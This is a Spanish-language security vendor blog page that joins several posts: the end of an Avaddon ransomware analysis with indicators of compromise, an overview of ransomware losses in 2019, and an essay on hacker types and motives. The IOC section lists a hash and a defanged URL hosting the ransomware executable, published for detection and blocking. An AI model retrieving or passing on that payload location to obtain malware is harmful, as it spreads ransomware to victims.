Victims are expected to copy their ransom ID to the linked .onion Tor hidden service website then received further instructions on how to pay the ransom and receive a decrypter.

Conclusión y corrección

Como se puede ver en este ejemplo, la colaboración clandestina en materia de malware puede acelerar la proliferación y distribución de nuevos programas de ransomware.

El servicio de Spam and Malware Protection de Hornetsecurity, con las tasas de detección más altas del mercado, bloquea la amenaza descrita. Además, el servicio Advanced Threat Protection de Hornetsecurity, amplía esta protección al detectar también amenazas aún desconocidas.

 

Referencias

Indicators of Compromise (IOCs)

Hashes

SHA256Nombre del archivoDescripción
05af0cf40590aef24b28fa04c6b4998b7ab3b7f26e60c507adb84f3d837778f2sava.exeAvaddon ransomware

URLs

  • hxxp[:]//217.8.117[.]63/sava[.]exe
El auge del Ransomware en 2019

El auge del Ransomware en 2019

La amenaza creciente

 

Es complicado no poner las noticias sin haberte dado cuenta de ello, y todavía más, aparecer en el trabajo sin que te hayan advertido al respecto. Ransomware ha sido el tema más candente sobre ciberseguridad, y los hackers han pasado el año atacando a compañías por miles de millones con esta táctica. El correo electrónico se ha convertido en el vector de ataque número uno, y el Ransomware en el peor enemigo de cualquier empleado.

Si no estás familiarizado, Ransomware son variaciones de software malicioso que se propagan a través de la red de tu ordenador con el fin de encriptar tu sistema con todos los documentos y material confidencial a cambio del pago de un rescate. Por lo general, se solicita el pago a través de Bitcoin para permanecer en el anonimato con la esperanza de evitar acabar en los tribunales. Los hackers utilizan troyanos de rescate en todo tipo de víctimas, y a menudo los hackers más experimentados buscan grandes pagos de objetivos más respetados.

En 2018, se produjo un aumento considerable de Ransomware, con unos ingresos estimados de 8.000 millones de dólares para los atacantes. Ese es un número asombroso. Lo que es aún más increíble, en 2019 los daños causados por Ransomware se han más que triplicado el año anterior. Se cree que sólo en la industria sanitaria, habrá más de 5.000 millones de dólares en pérdidas debido a los programas de rescate. ¿Por qué tal aumento en la cantidad de daños en un período tan corto de tiempo? Fácil, los hackers se dieron cuenta del nicho de mercado para tal objetivo. Con sofisticadas técnicas de ingeniería y un poco de conocimiento sobre el directorio de empleados de una empresa, un hacker experimentado tiene pocos o ningún problema para infiltrarse en la infraestructura de una organización insegura con un simple correo electrónico malicioso. Tales fines han llevado a los hackers a escuelas y universidades, gobiernos estatales y locales, y verticales de salud.

Una estrategia exitosa

 

Sólo en 2019, más de 70 gobiernos locales y estatales se vieron afectados por ataques exitosos con programas de rescate. Ya sea que la ciudad de Atlanta tenga una pérdida total de 2,6 millones de dólares en lugar de los 50.000 dólares del rescate, o que la ciudad de Baltimore pague más de 18,2 millones de dólares en lugar de los 100.000 dólares solicitados originalmente para el rescate, se puede decir con seguridad que los hackers tuvieron grandes beneficios en 2019.  En Estados Unidos se cree que más de 2/3 de todos los ataques de Ransomware en 2019 se dirigieron a los gobiernos locales.

Las entidades gubernamentales no fueron las únicas que sufrieron pérdidas masivas este año. Más de 100 escuelas y universidades fueron atacadas con Ransomware, siendo Ryuk el troyano malicioso más común utilizado. Esto es más de 9 veces mayor que el año anterior, en el que sólo se habían producido 11 incidentes relacionados con software en instituciones educativas. Este nicho es un objetivo particularmente bueno debido a los bajos presupuestos de seguridad y a la gran cantidad de datos confidenciales almacenados sobre los estudiantes y el personal. Solamente en Connecticut, siete distritos escolares fueron afectados por Ransomware lo que los convierte en el estado con el mayor número de ataques exitosos contra las escuelas. En septiembre, el Senado de los Estados Unidos aprobó la Ley de Equipos de Caza Cibernética y Respuesta a Incidentes del DHS, que reúne a los equipos de respuesta que ayudarán a las entidades públicas y privadas a defenderse de las ciberamenazas.

El sector sanitario ha seguido siendo el foco principal de los hackers a la hora de lanzar campañas maliciosas, y el software de rescate afecta al sector más que a ningún otro. Los datos confidenciales son una mina de oro para cualquier hacker, lo que hace obvio por qué los hospitales y las instituciones sanitarias son, a menudo, el objetivo. No sólo les cuesta a estas instalaciones miles de millones de dólares, sino que paraliza las operaciones diarias. En algunos casos, como el Centro Médico DCH en Alabama, los sistemas de programación y reserva se cerraron, lo que provocó que las cirugías y las citas se cancelaran. Esto podría ser extremadamente perjudicial para la salud del paciente, en algunos casos podría poner en peligro su vida.

 

El comienzo de una nueva década

 

Pronto será el inicio de una nueva década; 2020 está a las puertas. El patrón de ataques de Ransomware no parece estar disminuyendo, sino todo lo contrario…. está explotando. Se espera que el próximo año sea otro año de crecimiento constante, con nuevas cepas de Ransomware que brotarán en empresas de todo el mundo. El gasto en ciberseguridad de las organizaciones seguirá aumentando por encima de los 14.000 millones gastados en 2019. Con las nuevas regulaciones y leyes que se están implementando, la responsabilidad de proteger y asegurar los datos de manera adecuada será vital.

 

Más información:

 

El Hacker: Made in Hollywood?

El Hacker: Made in Hollywood?

Un hacker es inteligente, mucho más que la media. Con sólo unos pocos clics y unas pocas combinaciones de teclas, se ha metido en los sistemas de gobiernos, agencias gubernamentales y grandes corporaciones. Evita al público y actúa en secreto. Su piel es pálida, siempre lleva ropa oscura y trabaja hasta altas horas de la noche – eso es lo que nos dice Hollywood. Y los estereotipos creados por la industria cinematográfica permanecen en nuestra conciencia. Pero ¿quién está detrás de los ingeniosos ataques que asustan a las empresas? ¿Cómo podemos imaginarnos a los desarrolladores de Ryuk, Emotet y WannaCry?

En agosto de 1986, el sabotaje informático y la manipulación no autorizada de datos y soportes de datos se incluyeron en el código penal como una forma especial de daño a la propiedad. El término «hacking» a menudo se equipará con la intención criminal, especialmente en los países de habla alemana. Pero no todos los hackers son criminales – algunos son consultados o incluso contratados por empresas en materia de seguridad informática para probar los sistemas internos en busca de posibles brechas de seguridad. Dependiendo del cumplimiento de las leyes y de la intención de sus actividades, los hackers pueden ser asignados a diferentes grupos:

White Hats: Los hackers «éticos» se mueven legalmente a través de los sistemas de las empresas que los han contratado para buscar específicamente vulnerabilidades en su infraestructura de TI.

Black Hats: También conocidos como «crackers», son las ovejas negras del rebaño de hackers. Sabotaje de sistemas, extorsión y robo de datos e información confidencial, eso es lo que buscan los “black hats”. Con sus ataques, a menudo hacen un gran daño financiero. Los motivos pueden tener diferentes causas.

Grey Hats: No siempre hay blanco o negro. Entre los “white hats” y “black hats”, este grupo de hackers opera en una «zona gris» legal. Encuentran vulnerabilidades en los sistemas y las publican en diferentes plataformas para que puedan ser reparadas lo antes posible por los responsables. Esto los distingue, por ejemplo, de los “white hats”, que informan de las vulnerabilidades de seguridad directamente a los afectados sin hacerlas públicas. La «denuncia» pública de las vulnerabilidades de las TI también alcanza a los “black hats”.

Algunos hackers ganaron especial atención a través de sus actividades. Son considerados como «inventores» de técnicas especiales de piratería informática, han penetrado en redes altamente seguras de gobiernos y empresas o han descubierto documentos de alto secreto. Aquí algunos de ellos:

El padre de la ingeniería social: A través de sus técnicas de ingeniería social, Kevin Mitnick capturó información corporativa sensible, código fuente y acceso a bases de datos. Entre otras cosas, se dice que ha penetrado varias veces en la red del Departamento de Defensa y de la NSA (National Security Agency) de los Estados Unidos. En los años 90, el FBI lo declaró «el hacker más buscado del mundo». Después de pasar varios años en prisión, Mitnick cambió de bando. Hoy en día, trabaja como testador y conferenciante y, como director general de su propia empresa, asesora a grandes empresas sobre cuestiones de seguridad relacionadas con sus sistemas.

Hagbard Celine: Karl Koch, también conocido como «Hagbard Celine» es uno de los hackers alemanes más conocidos. Junto con otros hackers, vendió datos de sistemas informáticos estadounidenses al servicio secreto ruso KGB. Koch fue encontrado muerto en su coche a la edad de 23 años. Sin embargo, la causa exacta de la muerte aún no se ha aclarado completamente.

John Draper: alias «Captain Crunch» fue uno de los primeros piratas informáticos y se hizo conocido por el uso de un tubo de juguete de un paquete de muesli Cap’n Crunch para transferir los honorarios de una compañía telefónica americana [1] Junto con algunos de sus amigos, desarrolló la Blue Box, que puede reproducir el tono de 2600 hertzios para hacer llamadas telefónicas gratuitas. El crimen organizado también estaba muy interesado en el negocio de la falsificación y pudo registrar un buen «volumen de negocios». Al mismo tiempo, sin embargo, las compañías telefónicas estaban en números rojos y demandaron a Draper como inventor y causante de este desarrollo. Fue sentenciado a cinco años de libertad condicional, cuatro de los cuales pasó en la prisión estatal. En la década de 1970, conoció a Steve Jobs y Steve Wozniak, los fundadores de Apple. Draper también desarrolló el procesador de textos EasyWriter de Apple. En julio de 2018, Draper publicó su autobiografía «Beyond the little Blue Box».

Denunciante: Bajo el seudónimo de Mendax (mentiroso latín), Julian Assange atacó ordenadores extranjeros y fue declarado culpable en 24 casos de piratería informática ilegal. En 2006, fundó Wikileaks, una plataforma de divulgación, y distribuyó documentos censurados y confidenciales que por lo general no son accesibles al público o sólo son accesibles en una medida limitada. Como resultado de este trabajo, Assange fue arrestado varias veces y demandado sin éxito. A lo largo de los años, el fundador de Wikileaks ha estado a menudo en conflicto con la ley; en abril de 2019, fue arrestado por la policía de Londres y desde entonces ha estado en una prisión de alta seguridad en el Reino Unido.

 

El motivo importa

La digitalización, loT (Internet of things) y el establecimiento de redes globales están haciendo posible que los hackers realicen sus travesuras en áreas más amplias de la sociedad, los negocios y la política, incluso más allá de las fronteras nacionales. Los objetivos y motivos detrás de las actividades de los hackers son muy diferentes: algunos luchan por la riqueza, otros por el cambio político y económico.

Los hacktivistas son ciberdelincuentes que utilizan sus habilidades de piratería informática para manipular los sistemas de empresas, gobiernos o autoridades por convicciones políticas, religiosas o ideológicas de otro tipo. Un ejemplo bien conocido es el grupo activista “Anoymous”. El grupo ha estado activo contra varias organizaciones como la NSA, la IS y Scientology. Las acciones hacktivistas son un ejemplo de cómo podrían ser las protestas y la rebelión en un futuro digitalizado. En julio de este año, los hacktivistas invadieron los servidores de la autoridad fiscal búlgara NAP y robaron los registros de unos 5 millones de ciudadanos y empresas búlgaros. En un correo electrónico a los medios de comunicación estatales, los hackers exigieron la liberación del activista político Julian Assange.

Las organizaciones delictivas «profesionales» también están aprovechando la digitalización y externalizando cada vez más sus actividades ilegales a entornos en red. El peligro que representan estos grupos es alto, porque no sólo tienen muchos recursos, sino también la energía criminal necesaria.

Los hackers que trabajan en nombre de los gobiernos se centran principalmente en el espionaje, pero la manipulación y la paralización de los servicios públicos también están en su lista de tareas pendientes. El ataque cibernético a las centrífugas de uranio iraníes en 2010 fue supuestamente iniciado por actores estatales. Microsoft informó en julio que alrededor de 10.000 usuarios fueron atacados en un año por hackers que trabajaban para otros gobiernos. A diferencia de los ciberdelincuentes privados, es más fácil para los hackers patrocinados por el Estado entrar en redes extranjeras porque sus recursos son prácticamente ilimitados.

Comprender los motivos de un hacker puede ser muy útil para las empresas. Identificando al atacante, se pueden identificar de antemano los posibles escenarios de ataque. Por ejemplo, ¿un hacker «sólo» pretende enriquecerse o se trata de un tipo de ataque que realmente perjudica a una empresa? Los políticos, las autoridades y las empresas ven una gran amenaza de ciber espionaje, las infraestructuras críticas están sujetas al creciente riesgo de ser saboteadas por los ciberataques.

Básicamente se puede decir una cosa: la imagen de un tipo raro creado por Hollywood se desvanece. El resultado son grupos altamente diferenciados que, a medida que nuestro mundo se vuelve cada vez más digital, muestran todo tipo de facetas del mismo, desde el bien hasta el mal, por sí mismos o en equipo, para dañar a otros o para el bien común.

Más información:

¿Qué hace que sus datos sean tan valiosos?

Ciberataque de diagnóstico: los hospitales el blanco de los hackers